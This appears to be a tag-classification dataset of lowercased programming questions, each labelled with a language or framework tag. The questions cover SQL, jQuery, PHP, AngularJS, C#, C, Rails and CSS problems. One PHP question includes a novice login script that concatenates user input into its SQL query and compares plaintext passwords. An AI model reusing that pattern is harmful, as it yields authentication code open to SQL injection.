select data from three tables having maximo <> 5  i´m trying to select data from three tables  in table one have id number and timestamp  in table two have id number  quantity and description and in table three have id number and status.    i have next tables:   <pre><code>table ordenes |id_orden|fecha_registro |   1    |15-oct-2016 12:00:05 |   2    |15-oct-2016 12:35:55 |   3    |15-oct-2016 12:42:20    table pre_ordenes |id_orden|cantidad|descripcion |    1   |    1   |cd adele |    1   |    2   |cd sia |    2   |    2   |cd rihana |    2   |    2   |cd rita |    2   |    2   |cd adele |    3   |    2   |cd sia |    3   |    2   |cd rihana |    3   |    2   |cd adele |    3   |    2   |cd marhia  table estado_orden/ |id_orden|tipo_estado |    1   |     1 |    1   |     2 |    1   |     3 |    1   |     4 |    1   |     5 |    2   |     1 |    2   |     2 |    2   |     3 |    2   |     4 |    3   |     1 |    3   |     2 |    3   |     3 </code></pre>   hoy can i obtain this    <pre><code>|id_orden|fecha_registro       |cantidad|descripcion |    2   |15-oct-2016 12:35:55 |    1   |cd rihana |    2   |15-oct-2016 12:35:55 |    1   |cd rita |    2   |15-oct-2016 12:35:55 |    1   |cd adele |    3   |15-oct-2016 12:42:20 |    1   |cd sia |    3   |15-oct-2016 12:42:20 |    1   |cd rihana |    3   |15-oct-2016 12:42:20 |    1   |cd adele |    3   |15-oct-2016 12:42:20 |    1   |cd marhia </code></pre>   this is because id_orden=1 have tipo_estado=5 and id_orden 2 and 3 doesn´t have 5 as tipo_estado,sql
terminate a function in dot net after 2 mins  dot net application has 2 functions. second function will be executed after the completion of 1st function. sometimes 1st function hangs and takes lot of time for completion. so after 2 mins i want to kill only first function and make to execute second function. how do we achieve this.    thanks,.net
how to check disabled property on html select exist or not   i have this html structure  it s simplified version of real codes :   <pre><code>&lt;div id= kurir_list &gt;     &lt;div class= row &gt;         &lt;div class= col-sm-6 &gt;                 &lt;select disabled class= tarif &gt;                 ...                 &lt;/select&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= row &gt;         &lt;div class= col-sm-6 &gt;                 &lt;select disabled class= tarif &gt;                 ...                 &lt;/select&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt;     &lt;div class= row &gt;         &lt;div class= col-sm-6 &gt;                 &lt;select disabled class= tarif &gt;                 ...                 &lt;/select&gt;             &lt;/div&gt;         &lt;/div&gt;     &lt;/div&gt; &lt;/div&gt; </code></pre>   <code>disabled</code> property of each select are dynamically removed based on other conditional. now  i need to check if there s <code>disabled</code> property on each <code>.tarif</code> under <code>#kurir_list</code> or not using jquery. i have this code  but still can t check whether disabled <code>.tarif</code> exist or not :   <pre><code>$( .tarif ).change(function() {     if ( !$( #kurir_list.tarif ).attr( disabled ).length ) {         $( #rootwizard ).find( .pager .next ).show();     }                        }); </code></pre>,jquery
can app(target os below 4.3) run on ios6  just wonder if the app(target os below 4.3) can run on ios6. xcode 4.5 can not build the target below 4.3  does this mean ios6 does not accept app with os target below 4.3     welcome any comment,iphone
warning: mysqli_num_rows() expects parameter 1 to be mysqli_result  boolean given  warning: mysqli_num_rows() expects parameter 1 to be mysqli_result  boolean given  iam unable to login and above given error is notified.suggest the correction.thank you. warning: mysqli_num_rows() expects parameter 1 to be mysqli_result  boolean given  iam unable to login and above given error is notified.suggest the correction.thank you.   <pre><code>    &lt;html&gt;          &lt;head&gt;              &lt;title&gt;login page&lt;/title&gt;          &lt;/head&gt;              &lt;style type= text/css &gt;                  body{                        background:url( login.jpg );                      }              &lt;/style&gt;          &lt;body&gt;              &lt;form method = post  action= login.php &gt;                  &lt;table width= 400  border= 5  align= center &gt;                      &lt;tr&gt;                          &lt;td colspan= 5  align= center &gt;&lt;h1&gt;&lt;font color= mediumblue &gt;login form&lt;/h1&gt;&lt;/font&gt;                          &lt;/td&gt;                       &lt;/tr&gt;                      &lt;tr&gt;                          &lt;td&gt;&lt;font color= darkorange &gt;email&lt;/font&gt;                          &lt;/td&gt;                          &lt;td&gt;&lt;input type= text  name= email /&gt;&lt;/td&gt;                      &lt;/tr&gt;                      &lt;tr&gt;                          &lt;td&gt;&lt;font color= darkorange &gt;password&lt;/font&gt;&lt;/td&gt;                          &lt;td&gt;&lt;input type= password  name= pass /&gt;&lt;/td&gt;                      &lt;/tr&gt;                      &lt;tr&gt;                          &lt;td colspan= 5  align= center &gt;&lt;input type= submit  name= login  value= login /&gt; &lt;/td&gt;                      &lt;/tr&gt;              &lt;/form&gt;                           &lt;font color= lightsalmon &gt;&lt;h2&gt;&lt;p style= position: fixed; bottom: 50%; width:100%; text-align: center &gt; not registered yet &lt;a href= registration.php &gt;sign up here&lt;/a&gt;                 &lt;/p&gt;&lt;h2&gt;&lt;/font&gt;             &lt;/body&gt;      &lt;/html&gt; &lt; php     $connection=mysqli_connect( localhost   root      user_db );     if(isset($_post[ login ])){     $user_email=$_post[ email ];     $user_password=$_post[ pass ];  if($user_email==  ){ echo  &lt;script&gt;alert( please enter your email )&lt;/script&gt; ; exit(); }  if($user_password==  ){ echo  &lt;script&gt;alert( please enter your password )&lt;/script&gt; ; exit(); }     $check_user= select * from users where user_email == $user_email  and user_password == $user_password  ;     $result= mysqli_query($connection $check_user);     $count=mysqli_num_rows($result);     if ($count==1)     {      echo &lt;script&gt;window.open( welcome.php   _blank )&lt;/script&gt; ;      }     else{     echo &lt;script&gt;alert( username or password is incorrect )&lt;/script&gt; ;     }     }       &gt; </code></pre>,php
jquery to switch between iframe and image  i wish to have a onclick button to switch between an iframe and an image.    how is this possible  please show me with jsfiddle if possible.,jquery
<value temporarily unavailable  due to optimizations> cfarraygetvalueatindex  cfarraygetvalueatindex im not able to retrieve the value from address book when i tried accessing i get  error   <pre><code>abaddressbookref addressbook= abaddressbookcreate(); // this will open the addressbook of               the iphone cfarrayref people = abaddressbookcopyarrayofallpeople(addressbook); // this copies all the contacts from the address book into the array  for (int i =0 ;i&lt;abaddressbookgetpersoncount(addressbook);i++) {   abrecordref ref = cfarraygetvalueatindex(people  i);   nsstring *addbookfirstname = (nsstring *)abrecordcopyvalue(ref kabperson); } </code></pre>   this i variable returns statement telling     what is the problem here im not able to get the address book value,iphone
how to call non-static method from static   i tried to call non-static <code>drawscore()</code> method from static <code>calldrawscore()</code>  but i got the error <code> cannot find symbol constructor game </code> on line <code>game draw = new game();</code> in <code>calldrawscore()</code>. when i pass with mouse over that line it says <code> gamescreen (game) in game cannot be applied to () </code>.,java
default activity  i am reading a tutorial and the default activity is a class that extends another  and all that it has is an overriden method. how does the application work since it doesn t do anything else  i am very confused!,android
getting error: [$injector:unpr] error in angularjs but i have added my dependencies correcty   <strong>this is how my  factory looks like</strong>   <pre><code>app.factory( authenticationservice  [ $http   function ($http  $localstorage) {      var authenticationservice =  {};     var api =  http://del1-vm-kohls:8080/survey  ;        authenticationservice.login = function(username password callback){           $http.post( http://del1-vm-kohls:8080/survey/user/login  {userid: username  password: password})             .success(function(response){                  if(response.token) {                      // storing token in localstorage if user refreshes                       $localstorage.currentuser = {userid : username   token: response.token };                       // adding token of authentication for futher use in getting data                      authentication.token = response.token;                       callback(true);                  }                  else{                      callback(false);                  }          });      }       authenticationservice.getsurvey = function(token){       }       return authenticationservice; }]); </code></pre>   <strong>this is how my controller looks like</strong>   <pre><code>var app = angular.module( myapp  []);  app.controller( myctrl   [ $scope    $localstorage    $http    authenticationservice   function($scope  $localstorage  $http  authenticationservice){      $scope.username =   ;     $scope.password =   ;     $scope.login = false;      $scope.checklogin = function(){         authenticationservice.login($scope.username  $scope.password  function(result){           if(result === true)               {                   console.login( logindone );                   $scope.login = true;                   $localstorage.setitem( auth    true );                   location.href =  ../../application/content/index.html ;                }            else{                    $scope.login = false;                    $localstorage.setitem( auth    false );                    sweetalert(     invalid username or password    error );            }        });                }      }]); </code></pre>,angularjs
click panel  change labeltext and backcolor  my problem is simple. i want to click a panel in <code>form1</code> that will cause <code>label1</code> in a <code>usercontrol1</code>  which will be placed upon <code>form2</code> to change to  text .    clicking this panel would also change the background color of said <code>usercontrol1</code>. i receive the error  :   <blockquote>     tileinterfacetest.usercontrol1.label1  due to its protection level   </blockquote>   which frankly baffles me.    even running the color change code separately it simply doesn t achieve the desired result.    to be clear  i m quite a novice when it comes to c# and programming. i ve been working with visual basic until now so the concept of classes  methods and objects are slightly confusing to me.    here is my code for <code>form1</code>:   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.data; using system.drawing; using system.linq; using system.text; using system.threading.tasks; using system.windows.forms;  namespace windowsformsapplication1 {     public partial class form1 : form     {         public form1()         {             initializecomponent();         }          private void panel1_click(object sender  eventargs e)         {             form2 form2 = new form2();             usercontrol1 usercontrol1 = new usercontrol1();             form2.show();             usercontrol1.backcolor = system.drawing.color.red;             usercontrol1.labeltext =  text ;         }          private void panel1_paint(object sender  painteventargs e)         {         }          private void form1_load(object sender  eventargs e)         {         }     } } </code></pre>   code for usercontrol1:   <pre><code>using system; using system.collections.generic; using system.componentmodel; using system.drawing; using system.data; using system.linq; using system.text; using system.threading.tasks; using system.windows.forms;  namespace windowsformsapplication1 {     public partial class usercontrol1 : usercontrol     {         public string labeltext         {             get             {                 return label1.text;             }             set             {                 label1.text = value;             }         }          public usercontrol1()         {             initializecomponent();         }          private void usercontrol1_load(object sender  eventargs e)         {         }     } } </code></pre>,c#
slide menu library error  i used <a href= https://github.com/jfeinstein10/slidingmenu  rel= nofollow >slide menu</a> library into my android project and when i include this the eclipse fire and error at project.r.id cause it can t access my project.r,android
before_filter in rails and ajax requests  i have the app based only on ajax calls but i need constantly to check the decreasing value in session variable. i created a before_filter with a <code>redirect_to :action =&gt; :action_name</code> for some reason this doesn t work for me. i see in log <code>filter chain halted as [:method_name] rendered_or_redirected.</code> but in fact nothing happens.  does anyone know what s the problem  i wanted to make the code dry with using filters but looks like it s not handling ajax requests :(    the code is pretty simple (it s a game actually) here s the method which hangs on before_filter    <pre><code>def check_winner   if session[:game].user.cards.length == 0 || session[:game].pc.cards.length == 0     flash[:notice] =  the end       redirect_to :action =&gt;  win    end     end </code></pre>   session[:game] keeps several objects that i initialize at the beginning of the game. i ve never used rails filters with ajax but it worked always with normal http requests the user triggers actions everywhere via <code>link_to_remote</code> i tryed to render ajax page update on the filter method but it just throws me doble render error :(,ruby-on-rails
how to call add a view from nsobject class  i am working on an app where i am doing some code in a class which is derived from nsobject and in this class i want to call another class which is a uiview type class and add it above current view or if possible over window. can someone suggest me how will i do it as i cannot call [self.view addsubview:view] from a nsobject type class     also i can not move from my current class as here i am doing act(uploading with progress view) which will take time. so i have to add subview over my current view from this class only.    and yes i have to remove that uiview also later on when uploading completes.    thanks in advance,iphone
how to setup android sdk 2.0   i ve installed android sdk latest version. there is android versions 1.5  1.6  2.1-update  2.2  2.3.1  2.3.3 and 3.0 on  installed packages  of adv manager.    but here is not listed 2.0. i want to develop my app on 2.0(level 5).    how to install os 2.0 to avd manager      thanks in advance.,android
push background image down  i have the following css  which places an image across the top of the body background:   <pre><code>body {     background:url( http://intranet/img/background-top.png ) repeat-x top; } </code></pre>   is it possible to push this image down by about 50px,css
converting char array to (negative) integer; does not compile because of  array -  0   line  so i ve got this code:   <pre><code>#include &lt;stdio.h&gt;  int main(void) {     char arr[bufsiz];     arr[bufsiz - 1] =  \0 ;     fgets(arr  sizeof(arr)  stdin);     int x = arr -  0 ;     printf( %d\n   x); } </code></pre>   and when i try to compile it  using clang s make  i get this error:   <pre class= lang-none prettyprint-override ><code>$ make test clang -ggdb3 -o0 -std=c99 -wall -werror    test.c  -lm -o test test.c:9:9: error: incompatible pointer to integer conversion initializing  int        with an expression of type  char *  [-werror -wint-conversion]     int x = arr -  0 ;         ^   ~~~~~~~~~ 1 error generated. </code></pre>   it doesn t matter if i comment or uncomment the <code>arr[bufsiz - 1] =  \0 ;</code> line  this just won t compile.    i ve read that <code>int x = arr -  0 ;</code> <em>should</em> do the trick  but it does not..,c
how to use multiple sqldatareader in asp.net  i use <code>sqldatareader</code> connection1 inside that i use another <code>sqldatareader</code> connection2. so connection open issue occurring connection1 open. how to resolve it  kindly provide a solution,asp.net
how to cause refresh to asp.net page when page postback  when the asp.net page is postback the controls inside the table is disappear     but when i click on button that has that code which cause transfer to the page:   <pre><code>server.transfer( ~/admins/editusers.aspx ); </code></pre>   all controls appear easy with no problems.    then is there is need to make refresh to the page  or what can i do     thanks,asp.net
math with mixed variable data types  i am calculating a percent complete with variables of mixed data types.   <pre><code>int incompletecritical = 12; int total = 24; float progress = 0;  nslog(@ incomplete total: %d   incompletecritical); nslog(@ total total: %d   total);  if (total &gt; 0) {     progress = ((float)incompletecritical/(float)total)*100;     nslog(@ progress: %d   progress); } </code></pre>   the console output is as follows:   <pre><code>2011-01-11 10:02:59.993 [18570:207] incomplete total: 12 2011-01-11 10:02:59.993 [18570:207] total total: 24 2011-01-11 10:02:59.994 [18570:207] progress: 0 </code></pre>   why is progress not returning  50,objective-c
declaration does not declare anything in suitesparse  i am trying to compile trilinos  which needs suitesparse for some parts. now the compilation stops with the error   <pre><code>/opt/suitesparse/include/suitesparse_config.h:62:26: error: declaration does not declare anything [-fpermissive]  #define suitesparse_long long /opt/suitesparse/include/suitesparse_config.h:62:26: note: in definition of macro ‘suitesparse_long’  #define suitesparse_long long </code></pre>   in the code lines    <pre><code>#ifdef _win64  #define suitesparse_long __int64 #define suitesparse_long_max _i64_max #define suitesparse_long_idd  i64d   #else  #define suitesparse_long long #define suitesparse_long_max long_max #define suitesparse_long_idd  ld   #endif </code></pre>   on a linux system with gcc 7.2. i do not understand why i get that error  after <code>long</code> should be declared     the full compilation log is   <pre><code>[  0%] built target gtest [  0%] built target tpi [  0%] built target kokkoscore [  0%] built target kokkoscontainers [  1%] built target kokkosalgorithms [  2%] built target teuchoscore [  3%] built target teuchosparser [  4%] built target teuchosparameterlist [  4%] built target teuchoscomm [  4%] built target teuchosnumerics [  4%] built target teuchosremainder [  5%] built target teuchoskokkoscompat [  5%] built target teuchoskokkoscomm [ 14%] built target kokkoskernels [ 14%] built target rtop [ 14%] built target sacado [ 14%] built target minitensor [ 16%] built target epetra [ 20%] built target zoltan [ 21%] built target shards [ 21%] built target globipack [ 22%] built target triutils [ 22%] built target tpetraclassic [ 22%] built target tpetraclassicnodeapi [ 22%] built target tpetraclassiclinalg [ 22%] built target kokkostsqr [ 24%] built target tpetra [ 24%] built target tpetrainout [ 24%] built target tpetraext [ 26%] built target trilinosss [ 28%] built target epetraext [ 29%] built target domi [ 31%] built target thyracore [ 31%] built target thyra_nonlinear_test_models [ 32%] built target thyraepetra [ 32%] built target thyraepetraext [ 32%] built target thyratpetra [ 32%] built target xpetra [ 33%] built target xpetra-sup [ 33%] built target optipack [ 33%] built target isorropia [ 33%] built target isorropia_test_utils [ 33%] built target dpliris [ 35%] built target aztecoo [ 35%] built target galeri-epetra [ 35%] built target galeri-xpetra [ 36%] built target amesos [ 36%] built target pamgen_extras [ 37%] built target pamgen [ 38%] built target zoltan2 [ 40%] built target ifpack [ 44%] built target ml [ 44%] built target belos [ 44%] built target belosepetra [ 44%] built target belostpetra [ 44%] built target shylu_nodehts [ 44%] built target shylu_nodetacho [ 44%] building cxx object packages/amesos2/src/cmakefiles/amesos2.dir/amesos2_details_registerlinearsolverfactory.cpp.o in file included from /opt/suitesparse/include/umfpack.h:29:0                   from ~/downloads/trilinos/packages/amesos2/src/amesos2_umfpack_functionmap.hpp:56                   from ~/downloads/trilinos/packages/amesos2/src/amesos2_umfpack_decl.hpp:49                   from ~/downloads/trilinos/packages/amesos2/src/amesos2_umfpack.hpp:47                   from ~/downloads/trilinos/packages/amesos2/src/amesos2_factory.hpp:108                   from ~/downloads/trilinos/packages/amesos2/src/amesos2_details_linearsolverfactory_def.hpp:52                   from ~/downloads/trilinos/packages/amesos2/src/amesos2_details_linearsolverfactory.hpp:49                   from ~/downloads/trilinos/packages/amesos2/src/amesos2_details_registerlinearsolverfactory.cpp:45: /opt/suitesparse/include/suitesparse_config.h:62:26: error: declaration does not declare anything [-fpermissive]  #define suitesparse_long long                           ^ /opt/suitesparse/include/suitesparse_config.h:62:26: note: in definition of macro ‘suitesparse_long’  #define suitesparse_long long                           ^~~~ make[2]: *** [packages/amesos2/src/cmakefiles/amesos2.dir/build.make:111: packages/amesos2/src/cmakefiles/amesos2.dir/amesos2_details_registerlinearsolverfactory.cpp.o] error 1 make[1]: *** [cmakefiles/makefile2:8175: packages/amesos2/src/cmakefiles/amesos2.dir/all] error 2 make: *** [makefile:163: all] error 2 </code></pre>   running <code>make verbose=1</code> gives me   <pre><code>/usr/lib64/mpi/gcc/openmpi3/bin/mpic++   -i~/downloads/trilinos/build -i~/downloads/trilinos -i~/downloads/trilinos/build/packages/amesos2/src -i~/downloads/trilinos/packages/amesos2/src -i~/downloads/trilinos/packages/amesos2/src/klu2/include -i~/downloads/trilinos/packages/amesos2/src/klu2/source -i~/downloads/trilinos/packages/common/auxiliarysoftware/suitesparse/src/amd/include -i~/downloads/trilinos/packages/common/auxiliarysoftware/suitesparse/src/colamd/include -i~/downloads/trilinos/packages/common/auxiliarysoftware/suitesparse/src/btf/include -i~/downloads/trilinos/packages/common/auxiliarysoftware/suitesparse/src/ufconfig -i~/downloads/trilinos/build/packages/shylu/shylu_node/tacho/src -i~/downloads/trilinos/packages/shylu/shylu_node/tacho/src -i~/downloads/trilinos/packages/common/auxiliarysoftware/suitesparse/src/camd/include -i~/downloads/trilinos/packages/common/auxiliarysoftware/suitesparse/src/ccolamd/include -i~/downloads/trilinos/packages/common/auxiliarysoftware/suitesparse/src/klu/include -i~/downloads/trilinos/build/packages/kokkos/algorithms/src -i~/downloads/trilinos/packages/kokkos/algorithms/src -i~/downloads/trilinos/build/packages/kokkos/containers/src -i~/downloads/trilinos/packages/kokkos/containers/src -i~/downloads/trilinos/build/packages/kokkos/core/src -i~/downloads/trilinos/packages/kokkos/core/src -i~/downloads/trilinos/commontools/gtest -i/opt/metis/include -i/usr/local/include -i/opt/intel/mkl/include -i~/downloads/trilinos/build/packages/epetraext/src -i~/downloads/trilinos/packages/epetraext/src -i~/downloads/trilinos/packages/epetraext/src/transform -i~/downloads/trilinos/packages/epetraext/src/inout -i~/downloads/trilinos/packages/epetraext/src/coloring -i~/downloads/trilinos/packages/epetraext/src/model_evaluator -i~/downloads/trilinos/packages/epetraext/src/block -i~/downloads/trilinos/packages/epetraext/src/restrict -i~/downloads/trilinos/build/packages/triutils/src -i~/downloads/trilinos/packages/triutils/src -i~/downloads/trilinos/build/packages/epetra/src -i~/downloads/trilinos/packages/epetra/src -i~/downloads/trilinos/build/packages/teuchos/kokkoscomm/src -i~/downloads/trilinos/packages/teuchos/kokkoscomm/src -i~/downloads/trilinos/build/packages/teuchos/kokkoscompat/src -i~/downloads/trilinos/packages/teuchos/kokkoscompat/src -i~/downloads/trilinos/packages/teuchos/parameterlist/src -i~/downloads/trilinos/packages/teuchos/parser/src -i~/downloads/trilinos/build/packages/teuchos/core/src -i~/downloads/trilinos/packages/teuchos/core/src -i~/downloads/trilinos/packages/teuchos/comm/src -i~/downloads/trilinos/packages/teuchos/remainder/src -i~/downloads/trilinos/build/packages/teuchos/remainder/src -i~/downloads/trilinos/packages/teuchos/numerics/src -i/opt/petsc/include -i/opt/suitesparse/include -i~/downloads/trilinos/packages/tpetra/core/ext -i~/downloads/trilinos/build/packages/tpetra/core/ext -i~/downloads/trilinos/packages/tpetra/core/inout -i~/downloads/trilinos/build/packages/tpetra/core/inout -i~/downloads/trilinos/packages/tpetra/core/src -i~/downloads/trilinos/packages/tpetra/core/src/kokkos_refactor -i~/downloads/trilinos/build/packages/tpetra/core/src -i~/downloads/trilinos/packages/tpetra/tsqr/src -i~/downloads/trilinos/build/packages/tpetra/tsqr/src -i~/downloads/trilinos/packages/tpetra/classic/linalg -i~/downloads/trilinos/packages/tpetra/classic/nodeapi -i~/downloads/trilinos/build/packages/tpetra/classic/nodeapi -i~/downloads/trilinos/build/packages/tpetra/classic/src -i~/downloads/trilinos/packages/tpetra/classic/src -i/opt/intel/tbb/include -i~/downloads/trilinos/build/packages/kokkos-kernels/src -i~/downloads/trilinos/packages/kokkos-kernels/src -i~/downloads/trilinos/packages/kokkos-kernels/src/impl -i~/downloads/trilinos/packages/kokkos-kernels/src/impl/tpls -i~/downloads/trilinos/packages/kokkos-kernels/src/blas -i~/downloads/trilinos/packages/kokkos-kernels/src/blas/impl -i~/downloads/trilinos/packages/kokkos-kernels/src/sparse -i~/downloads/trilinos/packages/kokkos-kernels/src/sparse/impl -i~/downloads/trilinos/packages/kokkos-kernels/src/graph -i~/downloads/trilinos/packages/kokkos-kernels/src/graph/impl -i~/downloads/trilinos/packages/kokkos-kernels/src/batched -i~/downloads/trilinos/packages/kokkos-kernels/src/batched/impl -i~/downloads/trilinos/packages/kokkos-kernels/src/common -i/opt/superlu/include -i/opt/parmetis/include  -pedantic -wall -wno-long-long -wwrite-strings   -fpic -march=native -flto -std=c++11 -o3 -dndebug   -o cmakefiles/amesos2.dir/amesos2_details_registerlinearsolverfactory.cpp.o -c ~/downloads/trilinos/packages/amesos2/src/amesos2_details_registerlinearsolverfactory.cpp </code></pre>   i can now go through the files  but what do i have to look for,c++
show user email when posting comments in rails  when the user creates a post is displayed email user not whose post  and those who are logged in.for example: user(1) log in for anna@gmail.com  added post  log out.user(2) log in for maria@gmail.com and seeing post from anna@gmail.com but this post display email from maria@gmail.com  it is wrong.    <strong>the controller</strong>   <pre><code>class postscontroller &lt; applicationcontroller   def index   end    def create     @post = current_user.posts.build(post_params)     @post.name = current_user     if @post.save       redirect_to root_url     else       render  static_pages/home      end   end    def show    end    def destroy   end    private      def post_params       params.require(:post).permit(:title  :content)     end end </code></pre>   <strong>the view</strong>   <pre><code>&lt;% @posts.each do |post| %&gt;&lt;/br&gt;&lt;/br&gt;     &lt;tr&gt;       &lt;td&gt;&lt;%= post.title %&gt;&lt;/td&gt;       &lt;td&gt;&lt;%= post.content %&gt;&lt;/td&gt;        &lt;%= @post.user.email %&gt;   &lt;/tr&gt;&lt;/br&gt;&lt;/br&gt;         &lt;% end %&gt;   </code></pre>   how fix  sorry for my bad english,ruby-on-rails
html inserting ghost list elements  i ve created a list that looks like this:   <pre><code>&lt;ul&gt;     &lt;li&gt;one&lt;li&gt;     &lt;li&gt;two&lt;/li&gt;     &lt;li&gt;three&lt;/li&gt;     &lt;li&gt;four&lt;li&gt; &lt;/ul&gt; </code></pre>   but when i view this page in my browser  two extra list elements are inserted  making the code look like this:   <pre><code>&lt;ul&gt; &lt;li&gt;one&lt;/li&gt;&lt;li&gt; &lt;/li&gt;&lt;li&gt;two&lt;/li&gt; &lt;li&gt;three&lt;/li&gt; &lt;li&gt;four&lt;/li&gt;&lt;li&gt; &lt;/li&gt;&lt;/ul&gt; </code></pre>   does anybody know how this could possibly happen  i tried removing all other code and all stylesheets/scripts  but that doesn t solve the problem either. any help is greatly appreciated!,html
javascript problem on php  bellow is my php code .    <pre><code>    &lt;div class= poller &gt;                  &lt;div class= poller_question  id= poller_question2 &gt;                 &lt;p class= pollertitle &gt;would you join a community action committee &lt;/p&gt; &lt;p class= polleroption &gt;&lt;input type= radio  value= 6  name= vote[2]  id= polleroption6 &gt; &lt;label for= polleroption6  id= optionlabel6 &gt;yes&lt;/label&gt;&lt;/p&gt;&lt;p class= polleroption &gt; &lt;input type= radio  value= 7  name= vote[2]  id= polleroption7 &gt;&lt;label for= polleroption7   id= optionlabel7 &gt;maybe&lt;/label&gt;&lt;/p&gt;&lt;p class= polleroption &gt;&lt;input type= radio  value= 8   name= vote[2]  id= polleroption8 &gt;&lt;label for= polleroption8  id= optionlabel8 &gt;no&lt;/label&gt;&lt;/p&gt;                            &lt;a href= #  onclick= castmyvote(2 document.forms[0]) &gt;&lt;imgsrc= images/vote_button.gif  border= 0 &gt;&lt;/a&gt;                  &lt;/div&gt;                 &lt;div class= poller_waitmessage  id= poller_waitmessage2 &gt;                     getting poll results. please wait...                 &lt;/div&gt;                 &lt;div class= poller_results  id= poller_results2 &gt;                 &lt;!-- this div will be filled from ajax  so leave it empty --&gt;&lt;/div&gt;             &lt;/div&gt; </code></pre>   bellow is my javascript code    <pre><code>function castmyvote(pollid formobj) {        var elements = formobj.elements[ vote[  + pollid +  ] ];     var optionid = false;     for(var no=0;no&lt;elements.length;no++){         if(elements[no].checked)optionid = elements[no].value;     }     poller_set_cookie( dhtmlgoodies_poller_  + pollid  1  6000000);     if(optionid){          var ajaxindex = ajaxobjects.length;         ajaxobjects[ajaxindex] = new sack();         ajaxobjects[ajaxindex].requestfile = serversidefile +   pollid=  + pollid +  &amp;optionid=  + optionid;         prepareforpollresults(pollid);         ajaxobjects[ajaxindex].oncompletion = function(){ showvoteresults(pollid ajaxindex); }; // specify function that will be executed after file has been found         ajaxobjects[ajaxindex].runajax();       // execute ajax function          }    }    </code></pre>   form php i call a javascript method named  castmyvote  .the javascript is    <pre><code>var elements = formobj.elements[ vote[  + pollid +  ] ]; </code></pre>   <strong>create problem   why  how to solve it var elements have no value</strong>,javascript
angularjs use data from previous page  is there a way to use data from previous page     i have two pages:  /users  and  /users/:id      /users  template:   <pre><code>&lt;div ng-controller= userctrl &gt;    &lt;div ng=repeat= (k v) from data &gt;       &lt;span&gt;{{v.name}}&lt;/span&gt;       &lt;a ng-href= /users/{{k}} &gt;view details&lt;/a&gt;    &lt;/div&gt; &lt;/div&gt; </code></pre>    /users/:id  page   <pre><code>&lt;div ng-controller= userctrl &gt;    &lt;span&gt;{{ data[currentid].name}}&lt;/span&gt;     &lt;div&gt;{{additional_data}}&lt;/div&gt; &lt;/div&gt;     //controller userctrl     $scope.currentid = $stateparams.id || false;     $scope.data = {};      $http.get( /users ).then(function (response) {         $scope.data = response;          // returns         // $scope.data[1] = {name:  alex };         // $scope.data[2] = {name:  masha };     }      $scope.additional_data =  some data ; </code></pre>   on clicking on  view detail  button we are going to another page with other template. but controller is the same.    is there a way to save data and not call request again  just render old data on new page,angularjs
server-side commenting in asp.net (html side)  i need to leave some instructional comments for other developers on a page/user control.  is there a better way to do this besides the below    <pre><code>  &lt;% /* do not rename control ids here  because blah blah blah... */ %&gt; </code></pre>,asp.net
use of .tolower yields greek charcacters  i am trying to simply convert a string to lowercase.   <pre><code>input:  ρ αir  output:  ρ αir       dim strinput as string =  p air    dim strlower as string = strinput.tolower </code></pre>   <code>strlower</code> results in the above output. i ve tried setting the culture of the thread to en-us with no success and also tried using encoding.getencoding with as many different options as i could think of. also <code>strconv</code> produces the same result.,.net
how to paginate has_many queries in rails using kaminari  posts controller index method        <pre><code>@posts = post.includes(:replies).all </code></pre>   index.html.erb    <pre><code> &lt;% @post.each do |x| %&gt;     &lt;%= x.content %&gt;     &lt;% x.replies.each do |s| %&gt;     &lt;%= s.content %&gt;     &lt;% end %&gt;     &lt;% end %&gt; </code></pre>   i want to paginate x.replies and tried everything but with no use,ruby-on-rails
getting text to move over to a new column  i am trying to get the text in the footer area location &amp; hours to create two columns for each office. i tried to float it to the left with a height setting but it s not creating two columns. could someone please tell me what i am doing wrong      you can find the site here...    <a href= http://jsfiddle.net/ggjvm/  rel= nofollow >http://jsfiddle.net/ggjvm/</a>    ** fiddle might be down **    i am looking to have both office and hours in there own columns.    here is an area of the script and css i m having problems with.   <pre><code>&lt;div id= footer &gt;&lt;div class= content &gt;         &lt;ul class= left &gt;             &lt;li class= footerbullets &gt;&lt;a href= default.php &gt;home&lt;/a&gt;&lt;/li&gt;             &lt;li class= footerbullets &gt;&lt;a href= practiceareas.php &gt;practice areas&lt;/a&gt;&lt;/li&gt;             &lt;li class= footerbullets &gt;&lt;a href= attorneyprofiles.php &gt;attorney profiles&lt;/a&gt;&lt;/li&gt;             &lt;li class= footerbullets &gt;&lt;a href= blog.php &gt;blog&lt;/a&gt;&lt;/li&gt;             &lt;li class= footerbullets &gt;&lt;a href= locations.php &gt;locations &amp;amp; hours&lt;/a&gt;&lt;/li&gt;             &lt;li class= footerbullets &gt;&lt;a href= contactus.php &gt;contact us&lt;/a&gt;&lt;/li&gt;         &lt;/ul&gt;         &lt;ul class= center &gt;             &lt;li class= footerbullets &gt;current news&lt;/li&gt;             &lt;li&gt;&amp;nbsp;&lt;/li&gt;         &lt;/ul&gt;         &lt;ul class= right &gt;             &lt;li class= footerbullets &gt;location &amp;amp; hours&lt;/li&gt;             &lt;li style= padding:3px 0 3px 25px; &gt;atlantic county office:&lt;/strong&gt;&lt;br&gt;     210 new road  suite 12&lt;br&gt;     linwood greene&lt;br&gt;     linwood  new jersey 08221&lt;br&gt;     phone: (609) 601-8677&lt;br&gt;     fax: (609) 601-8577&lt;br&gt;&lt;br&gt;      &lt;strong&gt;office hours:&lt;/strong&gt;&lt;br&gt;     monday - friday: 08:30 am-5:00 pm&lt;br&gt;     saturday: 10:00 am-12:30 pm&lt;br&gt;     other hours by appointment&lt;br /&gt;      &lt;br /&gt;     &lt;strong&gt;camden county office:&lt;/strong&gt;&lt;br&gt;     1939 route 70 east  suite 100&lt;br&gt;     cherry hill  new jersey 08003&lt;br&gt;     phone:(856) 874-0555&lt;br&gt;     fax: (856) 874-9683&lt;br&gt;&lt;br&gt;      &lt;strong&gt;office hours:&lt;/strong&gt;&lt;br&gt;     monday - friday: 08:30 am-5:00 pm&lt;br&gt;           saturday: 10:00 am-12:30 pm&lt;br&gt;          other hours by appointment&lt;/li&gt;         &lt;/ul&gt;      &lt;/div&gt;&lt;/div&gt; </code></pre>   <strong>here is part of the css for that area</strong>   <pre><code>#footer .content { border-bottom: 1px #fff dotted; border-top: 1px #fff dotted; width: 960px; height: 135px; position: relative; margin-right: auto; margin-left: auto; padding-top: 10px; padding-bottom: 10px; color:#fff; } #footer ul{ float: left; width: 319px; height: 135px; border-right: 1px #fff dotted; color:#fff;  } #footer ul:last-child { border-right: 